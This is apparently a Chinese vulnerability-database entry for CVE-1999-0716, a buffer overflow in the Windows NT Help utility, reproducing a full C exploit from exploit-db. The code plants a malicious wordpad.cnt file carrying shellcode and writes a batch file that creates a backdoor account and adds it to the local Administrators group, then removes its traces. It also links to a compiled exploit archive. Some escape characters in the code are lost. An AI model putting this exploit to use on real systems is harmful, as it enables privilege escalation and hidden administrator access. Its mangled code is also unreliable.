Windows NT帮助文件工具漏洞

Windows NT帮助文件工具漏洞

漏洞ID 1105451 漏洞类型 缓冲区溢出
发布时间 1999-05-17 更新时间 2005-05-02
图片[1]-Windows NT帮助文件工具漏洞-安全小百科CVE编号 CVE-1999-0716
图片[2]-Windows NT帮助文件工具漏洞-安全小百科CNNVD-ID CNNVD-199905-033
漏洞平台 Windows CVSS评分 4.6
|漏洞来源
https://www.exploit-db.com/exploits/19209
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-199905-033
|漏洞详情
WindowsNT4.0中存在缓冲区溢出漏洞。该漏洞借助一个畸形的帮助文件实现帮助文件的功能。
|漏洞EXP
// source: http://www.securityfocus.com/bid/261/info
// 
// Lax permission in the Windows NT help file folder and a buffer overflow in the Help utility may allow malicious users to gain Administrator privileges.
// 
// The Windows NT Help utility parses and displays help information for selected applications. The help files are stored in the %SystemRoot%help directory. The default permissions in this directory allow any user to add new files.
// 
// A buffer overflow exists in the Help utility when it attempts to read a .cnt file with an overly long heading string. Content tab informaton files ("".cnt"") are generated when rich text format files ("".rtf"") are translated to help files ("".hlp""). If the string is longer than 507 bytes winhlp32 truncates the entry and the buffer overflow does not occur.
// 
// A malicious user can create a custom .cnt help file with executable code in an entry string which when stored in the help directory and viewed by an unsuspecting user can grant them that users privileges.
// 
// The vulnerability is not limited by the permissions of the help file directory as the Help utility will search for a .cnt file first in its execution directory before looking in the help file directory.
// 
#include <stdio.h>
#include <windows.h>
#include <string.h>

int main(void)
{
 char eip[5]=""xE5x27xF3x77"";
 char
ExploitCode[200]=""x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x55x8BxECx33xC0x50x50x50xC6x45xF4x4DxC6x45xF5x53xC6x45xF6x56xC6x45xF7x43xC6x45xF8x52xC6x45xF9x54xC6x45xFAx2ExC6x45xFBx44xC6x45xFCx4CxC6x45xFDx4CxBAx1Ax38xF1x77x52x8Dx45xF4x50xFFx55xF0x55x8BxECx33xFFx57xC6x45xFCx41xC6x45xFDx44xC6x45xFEx44xB8xE1xE1xA0x77x50x8Dx45xFCx50xFFx55xF8x55x8BxECxBAxBAx5Bx9Fx77x52x33xC0x50xFFx55xFC"";

 FILE *fd;
 printf(""nn*******************************************************n"");
 printf(""* WINHLPADD exploits a buffer overrun in Winhlp32.exe *n"");
 printf(""*   This version runs on Service Pack 4 machines and  *n"");
 printf(""*       assumes a msvcrt.dll version of 4.00.6201     *n"");
 printf(""*                                                     *n"");
 printf(""* (C) David Litchfield ([email protected]) '99 *n"");
 printf(""*******************************************************nn"");

 fd = fopen(""wordpad.cnt"", ""r"");
 if (fd==NULL)
  {
   printf(""nnWordpad.cnt not found or insufficient rights to access it.nRun this from the WINNT\HELP directory"");
   return 0;
  }
 fclose(fd);
 printf(""nMaking a copy of real wordpad.cnt - wordpad.savn"");
 system(""copy wordpad.cnt wordpad.sav"");
 printf(""nnCreating wordpad.cnt with exploit code..."");
 fd = fopen(""wordpad.cnt"", ""w+"");
 if (fd==NULL)
  {
   printf(""Failed to open wordpad.cnt in write mode. Check you have sufficent rightsn"");
   return 0;
  }
 fprintf(fd,""1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%s%sn"",eip,ExploitCode);

 fprintf(fd,""2 Opening a document=WRIPAD_OPEN_DOCn"");
 fclose(fd);
 printf(""nCreating batch file add.batnn"");
 fd = fopen(""add.bat"", ""w"");
 if (fd == NULL)
  {
   printf(""Couldn't create batch file. Manually create one instead"");
   return 0;
  }
 printf(""The batch file will attempt to create a user account called ""winhlp"" andn"");
 printf(""with a password of ""winhlp!!"" and add it to the Local Administrators group.n"");
 printf(""Once this is done it will reset the files and delete itself.n"");
 fprintf(fd,""net user winhlp winhlp!! /addn"");
 fprintf(fd,""net localgroup administrators winhlp /addn"");
 fprintf(fd,""del wordpad.cntncopy wordpad.sav wordpad.cntn"");
 fprintf(fd,""del wordpad.savn"");
 fprintf(fd,""del add.batn"");
 fclose(fd);
 printf(""nBatch file created."");
 printf(""nnCreated. Now open up Wordpad and click on Helpn"");

 return 0;


}

NOTE: The attached exploit code has been compiled to run on Windows NT 4.0 SP4 with msvcrt.dll version 4.20.6201

https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/19209.tar.gz
|参考资料

来源:MS
名称:MS99-015
链接:http://www.microsoft.com/technet/security/bulletin/ms99-015.asp
来源:MSKB
名称:Q231605
链接:http://support.microsoft.com/default.aspx?scid=kb;%5BLN%5D;Q231605

相关推荐: Van Dyke SecureCRT Remote Command Execution Vulnerability

Van Dyke SecureCRT Remote Command Execution Vulnerability 漏洞ID 1097551 漏洞类型 Design Error 发布时间 2004-11-23 更新时间 2004-11-23 CVE编号 N/A…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享